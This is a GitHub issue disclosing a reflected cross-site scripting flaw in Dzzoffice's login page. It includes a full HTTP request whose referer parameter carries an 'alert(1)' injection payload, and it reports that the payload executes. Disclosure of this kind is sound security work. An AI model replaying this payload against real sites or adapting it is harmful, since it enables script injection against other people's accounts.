

New issue

Jump to bottom

Cross-site scripting vulnerability exists in Dzzoffice #107

Open zKai1127 opened this issue on Jul 3, 2019 · 0 comments

zKai1127 commented on Jul 3, 2019 • edited

Cross-site scripting vulnerability exists in Dzzoffice

POST /login.php HTTP/1.1
Host: demo.dzz.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: <http://demo.dzz.cc/user.php?mod=login>
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Connection: close
Cookie: pWka_2132_saltkey=uX2jVs7x; pWka_2132_lastvisit=1557731903; pWka_2132_sid=ZRzbai; pWka_2132_lastact=1557735508%09misc.php%09sendwx; pWka_2132_sendmail=1
Upgrade-Insecure-Requests: 1

formhash=09ed92d8&referer=http%3a%2f%2fdemo.dzz.cc%2f%2f88937%3balert(1)%2f%2f667&uid=2&loginsubmit=true

There is a cross-site scripting attack on the referer parameter

Insert payload :88937%3balert(1)%2f%2f667 in the parameter,As shown below:

The screenshot displays a web browser's developer tools with the 'Request' and 'Response' panes. In the 'Request' pane, the 'Referer' header is highlighted, showing the injected payload: `http://demo.dzz.cc/88937%3balert(1)%2f%2f667`. In the 'Response' pane, the HTML content is visible, showing a JavaScript alert box that says '88937%3balert(1)%2f%2f667' and a button that says 'Jump to 88937%3balert(1)%2f%2f667'. The alert box is shown as a modal dialog with the text '88937%3balert(1)%2f%2f667' and a '确定' (OK) button.

Can be successfully executed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

